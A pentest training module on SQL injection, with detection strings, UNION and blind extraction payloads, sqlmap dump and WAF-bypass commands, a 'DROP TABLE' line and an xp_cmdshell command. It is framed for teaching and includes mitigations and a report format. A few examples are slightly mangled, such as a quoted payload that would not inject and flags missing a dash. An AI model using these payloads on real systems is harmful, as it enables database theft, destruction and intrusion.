3. SQL INJECTION

📘 A03 – Injection Attacks

MODULE 3: SQL INJECTION (SQLi)

The Complete Pentester Mega-Module (40–100 pages)

---

1. Introduction to SQL Injection

SQL Injection (SQLi) is when user-controlled input is interpreted as part of an SQL query.

This allows an attacker to:

- Read sensitive data
- Modify/insert/delete data
- Dump entire database
- Bypass logins
- Escalate privileges
- Execute OS-level commands (in some DBs)

SQLi is one of the **most powerful and dangerous vulnerabilities** because it targets the database directly — the "heart" of any application.

---

2. How SQL Queries Work (Beginner-Friendly, but Technical)

A normal SQL query:

```
SELECT * FROM users WHERE id = 10;
```

If the web app takes input like:

```
?id=10
```

The final query becomes:

```
SELECT * FROM users WHERE id = '10';
```

But if the user inputs:

```
?id=10 OR 1=1
```

Then the query becomes:

```
SELECT * FROM users WHERE id = '10 OR 1=1';
```

If not sanitized correctly → **database executes attacker input**.

---

3. Types of SQL Injection

We will cover:

1. **Classic SQLi**
2. **Error-based SQLi**
3. **Union-based SQLi**
4. **Boolean-based blind SQLi**
5. **Time-based blind SQLi**
6. **Out-of-band SQLi**

7. **Second-order SQLi**
8. **WAF bypass SQLi**
9. **SQL injection in APIs**
10. **SQL injection in mobile apps**

Each will have:

- Payloads
- Tools
- Commands
- Logic explained

---

4. SQL Injection Detection Checklist (Pentester Workflow)

You test the following:

✔ Single quote `'`

✔ Double quote `"`

✔ Parenthesis `)`

✔ OR conditions

✔ Comment sequences

Payloads you try:

```
'
"
)
OR 1=1
OR 1=2
' OR '1'='1
-- -
#
/*
```

If the app responds differently → **SQLi suspected**.

---

5. Classic SQL Injection

5.1 Login Bypass Example

Login payload:

```
' OR '1'='1
```

Final query:

```
SELECT * FROM users WHERE username='' OR '1'='1' AND password='';
```

Effect:

- Always true
- Login bypass

---

6. Error-Based SQL Injection

This relies on the database **showing SQL errors**.

Test payload:

```
'
```

If you see:

- MySQL error
- SQL Server error
- Oracle error
- Postgres error

Then SQLi exists.

Example:

```
?id=10'
```

Error shown:

```
You have an error in your SQL syntax
```

Now you know:

- SQLi is present
- Database type identified

---

7. UNION-Based SQL Injection

Used to extract database data via UNION operator.

7.1 Step 1 — Find number of columns

Use:

```
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
ORDER BY 4--
```

Command Example (with explanation):

```
?id=1 ORDER BY 3--
```

Explanation:

- `ORDER BY 3` → checks if third column exists
- `-` → comment to ignore rest of query

If:

- ORDER BY 3 works = at least 3 columns
- ORDER BY 4 breaks = only 3 columns

7.2 Step 2 — Inject UNION SELECT

If 3 columns:

```
?id=-1 UNION SELECT 1,2,3--
```

Look for numbers on screen:

- Column showing "2" → this is the injectable column

7.3 Step 3 — Extract Data

Example: Get current database

```
?id=-1 UNION SELECT 1,2,database()--
```

Example: Dump table names

```
?id=-1 UNION SELECT 1,2,table_name FROM information_schema.tables--
```

Example: Dump column names

```
?id=-1 UNION SELECT 1,2,column_name FROM information_schema.colum
ns--
```

Example: Dump user credentials

```
?id=-1 UNION SELECT username,password,3 FROM users--
```

---

8. Boolean-Based Blind SQL Injection

Database does NOT show errors.

You must ask TRUE/FALSE questions.

Payload 1 — True condition

```
?id=1 AND 1=1--
```

Payload 2 — False condition

```
?id=1 AND 1=2--
```

Expected behavior:

- Response changes between true/false → Blind SQLi confirmed

---

9. Time-Based Blind SQL Injection

Use time delays to test.

MySQL Example:

```
?id=1 AND SLEEP(5)--
```

If page delays 5 seconds → vulnerable.

PostgreSQL:

```
?id=1; SELECT pg_sleep(5);--
```

MS SQL:

```
?id=1; WAITFOR DELAY '0:0:5'--
```

10. Extracting Data Using Blind SQL

Example — Extract DB name one letter at a time:

```
?id=1 AND SUBSTR(database(),1,1)='a'--
```

If response changes → first letter is **a**.

Repeat with:

- position 2
- position 3
- position 4

This is how real blind SQLi exploitation works.

11. Tools for SQL Injection

Here are the professional tools.

11.1 SQLmap (Most Important)

Basic Detection

```
sqlmap -u "https://site.com/page?id=1"
```

```
```

Explanation:

- `sqlmap` → SQL Injection tool
- `u` → target URL
- Tests all types of SQLi automatically

Dump entire database

```
sqlmap -u "https://site.com/page?id=1" --dbs
```

Meaning:

- `-dbs` = list all databases

Dump tables

```
sqlmap -u "https://site.com/page?id=1" -D database_name --tables
```

Dump columns

```
sqlmap -u "https://site.com/page?id=1" -D db -T users --columns
```

Dump data

```
sqlmap -u "https://site.com/page?id=1" -D db -T users --dump
```

Bypass WAF

```
sqlmap -u "https://site.com/page?id=1" --tamper=space2comment
```

11.2 Manual Tools

Burp Suite Repeater

- Send requests
- Change parameters
- Observe responses

SQLiD (SQL Injection Detector)

- Detect injection patterns

12. Advanced SQL Injection Techniques

12.1 Second-Order SQL Injection

Data injected first → stored → executed later.

Example:

1. User enters payload in profile name
2. Admin panel executes it → SQLi

12.2 Stacked Queries

MySQL (older versions):

```
?id=1; DROP TABLE users--
```

SQL Server:

```
?id=1; EXEC xp_cmdshell('whoami')--
```

This can lead to **RCE**.

13. SQL Injection in APIs

Example API request:

```
POST /api/login
{"username":"admin' OR 1=1--","password":"x"}
```

APIs often forget to sanitize input.

14. SQL Injection in Mobile Apps

Decompile APK → look for text:

```
"SELECT * FROM users WHERE id = " + userInput
```

Payloads work even if no web interface.

15. Real-World Case Study

A bank allowed:

```
?id=customer_id
```

Attacker tested:

```
?id=10 OR 1=1--
```

Result:

- Accessed all customers

- Dumped all account details
- Could modify balances

Impact → **Catastrophic**

---

16. Mitigation

✔ Prepared statements (parameterization)

✔ Stored procedures

✔ ORM validation

✔ Input sanitization

✔ Least-privilege DB accounts

✔ WAF rules

✔ Disable error messages

---

17. Reporting Format

Title: SQL Injection — UNION & Time-Based Blind

Severity: Critical

URL: `/product?id=4`

Parameter: `id`

Impact: Database dump & full compromise

Evidence:

- Payloads
- Database output

  Recommendation: Use prepared statements